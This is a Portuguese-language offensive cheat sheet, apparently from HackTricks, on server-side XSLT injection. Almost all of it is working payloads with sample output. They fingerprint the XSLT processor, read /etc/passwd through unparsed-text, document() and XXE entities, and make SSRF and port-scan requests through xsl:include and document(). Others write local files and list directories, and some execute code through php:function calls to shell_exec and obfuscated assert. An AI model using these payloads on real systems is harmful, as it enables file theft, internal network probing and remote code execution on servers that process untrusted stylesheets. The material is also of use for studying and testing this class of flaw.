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Injeção de Servidor XSLT (Transformações de Linguagem de Folha de Estilo Extensível)

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Informações Básicas

XSLT é uma tecnologia utilizada para transformar documentos XML em diferentes formatos. Ele vem em três versões: 1, 2 e 3, sendo a versão 1 a mais comumente utilizada. O processo de transformação pode ser executado no servidor ou no navegador.

Os frameworks mais frequentemente utilizados incluem:

  • Libxslt do Gnome,
  • Xalan do Apache,
  • Saxon da Saxonica.

Para a exploração de vulnerabilidades associadas ao XSLT, é necessário que as tags xsl sejam armazenadas no lado do servidor, seguido pelo acesso a esse conteúdo. Uma ilustração de tal vulnerabilidade está documentada na seguinte fonte: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Exemplo - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

{% code title="xml.xml" %}

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>

{% endcode %}

{% code title="xsl.xsl" %}

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

Executar:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Impressão Digital

{% code title="detection.xsl" %}

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

E execute

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Ler Arquivo Local

{% code title="read.xsl" %}

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

Injeção de Solicitação de Serviço do Lado do Servidor

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versões

Pode haver mais ou menos funções dependendo da versão XSLT utilizada:

Impressão digital

Faça o upload disso e obtenha informações

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

Injeção de Solicitação de Serviço do Lado do Servidor

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Injeção de Javascript

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Listagem de diretórios (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Ler arquivos

Interno - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Interno - XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Através do HTTP

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Interno (função PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Verificação de porta

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Escrever em um arquivo

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Extensão Xalan-J

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Incluir XSL externo

Outras maneiras de escrever arquivos no PDF

<xsl:include href="http://extenal.web/external.xsl"/>

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Executar código

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Executar código usando outros frameworks no PDF

Mais Idiomas

Nesta página você pode encontrar exemplos de RCE em outros idiomas: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Acessar funções estáticas PHP de classes

A seguinte função chamará o método estático stringToUrl da classe XSL:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

Mais Cargas Úteis

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!